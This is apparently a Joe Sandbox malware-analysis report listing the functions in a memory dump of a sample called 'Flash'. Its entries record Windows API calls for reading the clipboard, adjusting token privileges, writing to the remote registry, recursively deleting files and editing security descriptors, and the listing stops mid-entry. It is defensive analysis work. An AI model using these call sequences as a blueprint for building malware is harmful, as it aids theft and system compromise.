Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1756b50b9660f9c487f1c7194f9121287a0de9b65fe4cb96eecdac1625d9b606
Instruction ID: 95f9cd377d9d1b4c99f37cdc19b4a9e0e2ee7fbf5ba6c752c1be7938b5546466
Opcode Fuzzy Hash: 1756b50b9660f9c487f1c7194f9121287a0de9b65fe4cb96eecdac1625d9b606
Instruction Fuzzy Hash: 9EB09234000600579D281F3C194849A3351584BBA9BDC1B82F478854E19279A88BA620

Function 009F547B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 009F5486

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: f83d4c3d54ec448f6b82ffd64562cf0ea045e2f75a2554b550da1e1a7d10b26d
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 01B0927644020C77CE012A82EC03B693F299B80668F408020FB0C1C172A673E6A09689

Function 00A3D6BE Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00A3D842

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 625940f80c9b4deb449671f4bb2daf641ce0306143e15039f2070ade43571866
Instruction ID: 268678af77de6ae65640a75dbe8395adba500ebf8e71579a27ec9626ed78bd4f
Opcode Fuzzy Hash: 625940f80c9b4deb449671f4bb2daf641ce0306143e15039f2070ade43571866
Instruction Fuzzy Hash: 38715C30208342CFC715EF65D491B6AB7E5AF88354F044A2DF9969B3A2DB30ED45CB52

Function 00A3C270 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00A34005: FindFirstFileW.KERNEL32(?,?), ref: 00A3407C
Part of subcall function 00A34005: DeleteFileW.KERNEL32(?,?,?,?), ref: 00A340CC
Part of subcall function 00A34005: FindNextFileW.KERNEL32(00000000,00000010), ref: 00A340DD
Part of subcall function 00A34005: FindClose.KERNEL32(00000000), ref: 00A340F4

GetLastError.KERNEL32 ref: 00A3C292

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: bbfb20704d6e14cc10fac93c90b6c774d06aed4259aae426b1a014a392b87ef9
Instruction ID: 5837fe3e40a5e8aa97eeff351e912cd67b876561a4038d67eddb6f1296e8a9f6
Opcode Fuzzy Hash: bbfb20704d6e14cc10fac93c90b6c774d06aed4259aae426b1a014a392b87ef9
Instruction Fuzzy Hash: 82F082312105104FCB14EF99D854F5AB7E9AF88320F05C45AF9059B392CB74BC41CB94

Non-executed Functions

Function 00A5D164 Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 009D29E2: GetWindowLongW.USER32(?,000000EB), ref: 009D29F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00A5D208
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00A5D249
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00A5D28E
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00A5D2B8
SendMessageW.USER32 ref: 00A5D2E1
_wcsncpy.LIBCMT ref: 00A5D359
GetKeyState.USER32(00000011), ref: 00A5D37A
GetKeyState.USER32(00000009), ref: 00A5D387
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00A5D39D
GetKeyState.USER32(00000010), ref: 00A5D3A7
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00A5D3D0
SendMessageW.USER32 ref: 00A5D3F7
SendMessageW.USER32(?,00001030,?,00A5B9BA), ref: 00A5D4FD
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00A5D513
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00A5D526
SetCapture.USER32(?), ref: 00A5D52F
ClientToScreen.USER32(?,?), ref: 00A5D594
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00A5D5A1
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00A5D5BB
ReleaseCapture.USER32 ref: 00A5D5C6
GetCursorPos.USER32(?), ref: 00A5D600
ScreenToClient.USER32(?,?), ref: 00A5D60D
SendMessageW.USER32(?,00001012,00000000,?), ref: 00A5D669
SendMessageW.USER32 ref: 00A5D697
SendMessageW.USER32(?,00001111,00000000,?), ref: 00A5D6D4
SendMessageW.USER32 ref: 00A5D703
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00A5D724
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00A5D733
GetCursorPos.USER32(?), ref: 00A5D753
ScreenToClient.USER32(?,?), ref: 00A5D760
GetParent.USER32(?), ref: 00A5D780
SendMessageW.USER32(?,00001012,00000000,?), ref: 00A5D7E9
SendMessageW.USER32 ref: 00A5D81A
ClientToScreen.USER32(?,?), ref: 00A5D878
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00A5D8A8
SendMessageW.USER32(?,00001111,00000000,?), ref: 00A5D8D2
SendMessageW.USER32 ref: 00A5D8F5
ClientToScreen.USER32(?,?), ref: 00A5D947
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00A5D97B

Part of subcall function 009D29AB: GetWindowLongW.USER32(?,000000EB), ref: 009D29BC

GetWindowLongW.USER32(?,000000F0), ref: 00A5DA17

Strings

@GUI_DRAGID, xrefs: 00A5D562
F, xrefs: 00A5D8FB

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: 620e75a975a49e4e5a9457805462c83bf0c4a7cf01244c563e61a1f2592c6ca0
Instruction ID: d6f4e1f51b04555a3e1e1f873b4b3df39a739b37afb70c21711f8c3e0cb3364e
Opcode Fuzzy Hash: 620e75a975a49e4e5a9457805462c83bf0c4a7cf01244c563e61a1f2592c6ca0
Instruction Fuzzy Hash: CA429D34204241AFD725DF68C844FAABBF5FF88311F144619FA95872A1CBB19899CB62

Function 00A28F2E Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00A29399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00A293E3
Part of subcall function 00A29399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00A29410
Part of subcall function 00A29399: GetLastError.KERNEL32 ref: 00A2941D

_memset.LIBCMT ref: 00A28F71
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00A28FC3
CloseHandle.KERNEL32(?), ref: 00A28FD4
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00A28FEB
GetProcessWindowStation.USER32 ref: 00A29004
SetProcessWindowStation.USER32(00000000), ref: 00A2900E
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00A29028

Part of subcall function 00A28DE9: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00A28F27), ref: 00A28DFE
Part of subcall function 00A28DE9: CloseHandle.KERNEL32(?,?,00A28F27), ref: 00A28E10

Strings

default, xrefs: 00A29023
, xrefs: 00A28F80
winsta0, xrefs: 00A28FE6

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 573a85e3b7d602a4cb8a8f3996d9d5424a5e84633d7206e83f2f3d86c8583239
Instruction ID: bce3249da2dc1b60330d71d44055f4c4f6392ade4c52c46a85693417e4189bdd
Opcode Fuzzy Hash: 573a85e3b7d602a4cb8a8f3996d9d5424a5e84633d7206e83f2f3d86c8583239
Instruction Fuzzy Hash: A6817A71800219BFEF11DFA9ED49AEF7B79EF04704F044229F911A6260DB718E659B20

Function 00A44632 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00A60980), ref: 00A4465C
IsClipboardFormatAvailable.USER32(0000000D), ref: 00A4466A
GetClipboardData.USER32(0000000D), ref: 00A44672
CloseClipboard.USER32 ref: 00A4467E
GlobalLock.KERNEL32(00000000), ref: 00A4469A
CloseClipboard.USER32 ref: 00A446A4
GlobalUnlock.KERNEL32(00000000,00000000), ref: 00A446B9
IsClipboardFormatAvailable.USER32(00000001), ref: 00A446C6
GetClipboardData.USER32(00000001), ref: 00A446CE
GlobalLock.KERNEL32(00000000), ref: 00A446DB
GlobalUnlock.KERNEL32(00000000,00000000,?), ref: 00A4470F
CloseClipboard.USER32 ref: 00A4481F

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 152f84356f8892fabbfe50aa5808aedb3bc05ee38e9e18edd19ae49e74550644
Instruction ID: a0e5d0c8c3de8ecf6e4b5ae37a1d96f7767ffa9a521a11c70f81262f42535109
Opcode Fuzzy Hash: 152f84356f8892fabbfe50aa5808aedb3bc05ee38e9e18edd19ae49e74550644
Instruction Fuzzy Hash: 6351D135244201ABD301EFA4DC99F6FB7B8AFC8B41F014529F656D21E2DFB0D9468B62

Function 00A3CD9F Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00A3CDD0
FindClose.KERNEL32(00000000), ref: 00A3CE24
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00A3CE49
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00A3CE60
FileTimeToSystemTime.KERNEL32(?,?), ref: 00A3CE87
__swprintf.LIBCMT ref: 00A3CED3
__swprintf.LIBCMT ref: 00A3CF16

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

__swprintf.LIBCMT ref: 00A3CF6A

Part of subcall function 009F38C8: __woutput_l.LIBCMT ref: 009F3921

__swprintf.LIBCMT ref: 00A3CFB8

Part of subcall function 009F38C8: __flsbuf.LIBCMT ref: 009F3943
Part of subcall function 009F38C8: __flsbuf.LIBCMT ref: 009F395B

__swprintf.LIBCMT ref: 00A3D007
__swprintf.LIBCMT ref: 00A3D056
__swprintf.LIBCMT ref: 00A3D0A5

Strings

%02d, xrefs: 00A3CF5E, 00A3CF68, 00A3CFB6, 00A3D005, 00A3D054, 00A3D0A3
%4d%02d%02d%02d%02d%02d, xrefs: 00A3CECD
%4d, xrefs: 00A3CF10

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: aa5023a723ed2d1d8ae9078f4d872188d23a33c2161a95821e2787c06ad6c1c7
Instruction ID: 2efe6f19900419e52cdbd708edd371fddaac912b7d714c17e48f76884e6a8192
Opcode Fuzzy Hash: aa5023a723ed2d1d8ae9078f4d872188d23a33c2161a95821e2787c06ad6c1c7
Instruction Fuzzy Hash: 32A13AB1444244ABC710EFA4DD85EAFB7ECAFD4704F40491AF595C2292EB74EA48CB62

Function 00A3F5D8 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00A3F5F9
_wcscmp.LIBCMT ref: 00A3F60E
_wcscmp.LIBCMT ref: 00A3F625
GetFileAttributesW.KERNEL32(?), ref: 00A3F637
SetFileAttributesW.KERNEL32(?,?), ref: 00A3F651
FindNextFileW.KERNEL32(00000000,?), ref: 00A3F669
FindClose.KERNEL32(00000000), ref: 00A3F674
FindFirstFileW.KERNEL32(*.*,?), ref: 00A3F690
_wcscmp.LIBCMT ref: 00A3F6B7
_wcscmp.LIBCMT ref: 00A3F6CE
SetCurrentDirectoryW.KERNEL32(?), ref: 00A3F6E0
SetCurrentDirectoryW.KERNEL32(00A8B578), ref: 00A3F6FE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00A3F708
FindClose.KERNEL32(00000000), ref: 00A3F715
FindClose.KERNEL32(00000000), ref: 00A3F727

Strings

*.*, xrefs: 00A3F68B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: e44718f8610894623b8b40550a02b3802f72f7a113961d0ac941783e860fea16
Instruction ID: 6df2d17f48cfce78da47697ba6ed8e5245444ab8c0675a4f9e66af54e31d9e4c
Opcode Fuzzy Hash: e44718f8610894623b8b40550a02b3802f72f7a113961d0ac941783e860fea16
Instruction Fuzzy Hash: 4431D072A102096EDB10EFB4EC49EEF73BCAF09321F100165F915E20A0EB70CA85CB60

Function 00A50EB7 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A50FB3
RegCreateKeyExW.ADVAPI32(?,?,00000000,00A60980,00000000,?,00000000,?,?), ref: 00A51021
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00A51069
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00A510F2
RegCloseKey.ADVAPI32(?), ref: 00A51412
RegCloseKey.ADVAPI32(00000000), ref: 00A5141F

Strings

REG_SZ, xrefs: 00A51130
REG_BINARY, xrefs: 00A513AD
REG_EXPAND_SZ, xrefs: 00A5108F
REG_QWORD, xrefs: 00A51360
REG_DWORD, xrefs: 00A512E3
REG_MULTI_SZ, xrefs: 00A511DA

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 754b2f2cf7b0083fa4eba83a8157f2d752589a1a36ef325a30bf125fe55e0417
Instruction ID: 664d0f53f4385f39036ecc992f69358a6f5419800c380ebda129bf3a318dffb3
Opcode Fuzzy Hash: 754b2f2cf7b0083fa4eba83a8157f2d752589a1a36ef325a30bf125fe55e0417
Instruction Fuzzy Hash: EA0264712006019FCB14EF25C895F2AB7E5FF88724F048959F99A9B3A2CB30EC45CB91

Function 00A3F735 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00A3F756
_wcscmp.LIBCMT ref: 00A3F76B
_wcscmp.LIBCMT ref: 00A3F782

Part of subcall function 00A34875: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00A34890

FindNextFileW.KERNEL32(00000000,?), ref: 00A3F7B1
FindClose.KERNEL32(00000000), ref: 00A3F7BC
FindFirstFileW.KERNEL32(*.*,?), ref: 00A3F7D8
_wcscmp.LIBCMT ref: 00A3F7FF
_wcscmp.LIBCMT ref: 00A3F816
SetCurrentDirectoryW.KERNEL32(?), ref: 00A3F828
SetCurrentDirectoryW.KERNEL32(00A8B578), ref: 00A3F846
FindNextFileW.KERNEL32(00000000,00000010), ref: 00A3F850
FindClose.KERNEL32(00000000), ref: 00A3F85D
FindClose.KERNEL32(00000000), ref: 00A3F86F

Strings

*.*, xrefs: 00A3F7D3

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: fb33e9dfd4dd9cfb7779bae2c9c899acb73207fc7d830f6a2244d8de4ce72c7f
Instruction ID: 30169c38749fd722940b3eda8a0b3a5e314feaa50c514b5eda475fbad0f1c1b0
Opcode Fuzzy Hash: fb33e9dfd4dd9cfb7779bae2c9c899acb73207fc7d830f6a2244d8de4ce72c7f
Instruction Fuzzy Hash: 0531C5729002197EDB14EFB4DC49EEF77BCAF49320F104565F914A21A1DB70DE868B60

Function 00A288CD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A28E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00A28E3C
Part of subcall function 00A28E20: GetLastError.KERNEL32(?,00A28900,?,?,?), ref: 00A28E46
Part of subcall function 00A28E20: GetProcessHeap.KERNEL32(00000008,?,?,00A28900,?,?,?), ref: 00A28E55
Part of subcall function 00A28E20: HeapAlloc.KERNEL32(00000000,?,00A28900,?,?,?), ref: 00A28E5C
Part of subcall function 00A28E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00A28E73

Part of subcall function 00A28EBD: GetProcessHeap.KERNEL32(00000008,00A28916,00000000,00000000,?,00A28916,?), ref: 00A28EC9
Part of subcall function 00A28EBD: HeapAlloc.KERNEL32(00000000,?,00A28916,?), ref: 00A28ED0
Part of subcall function 00A28EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00A28916,?), ref: 00A28EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00A28931
_memset.LIBCMT ref: 00A28946
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00A28965
GetLengthSid.ADVAPI32(?), ref: 00A28976
GetAce.ADVAPI32(?,00000000,?), ref: 00A289B3
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00A289CF
GetLengthSid.ADVAPI32(?), ref: 00A289EC
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00A289FB
HeapAlloc.KERNEL32(00000000), ref: 00A28A02
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00A28A23
CopySid.ADVAPI32(00000000), ref: 00A28A2A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00A28A5B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00A28A81
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00A28A95

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 2aba81476e6fdaa8b1961a74c78182fe787d2bc972fb4f50c09e8974bbba0d3b
Instruction ID: 7f20b19562720943627ec32c4a94455306e69a65b76fd3a25abe55fa34b223b4
Opcode Fuzzy Hash: 2aba81476e6fdaa8b1961a74c78182fe787d2bc972fb4f50c09e8974bbba0d3b
Instruction Fuzzy Hash: A4615671901219BFCF04DFA9EC85EAEBB79FF04301F04812AF815A6290DB799A45CB60

Function 00A50A3A Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A5040D,?,?), ref: 00A51491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A50B0C

Part of subcall function 009D4D37: __itow.LIBCMT ref: 009D4D62
Part of subcall function 009D4D37: __swprintf.LIBCMT ref: 009D4DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00A50BAB
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00A50C43
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00A50E82
RegCloseKey.ADVAPI32(00000000), ref: 00A50E8F

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: d05b9ba5cb5df98a782560e4319992858b5ab18e77bd0f9f14e7333968e734df
Instruction ID: c02a5676a4abba8121ae64714eb6a30f0e6246146c89bab2247ff25913581ca7
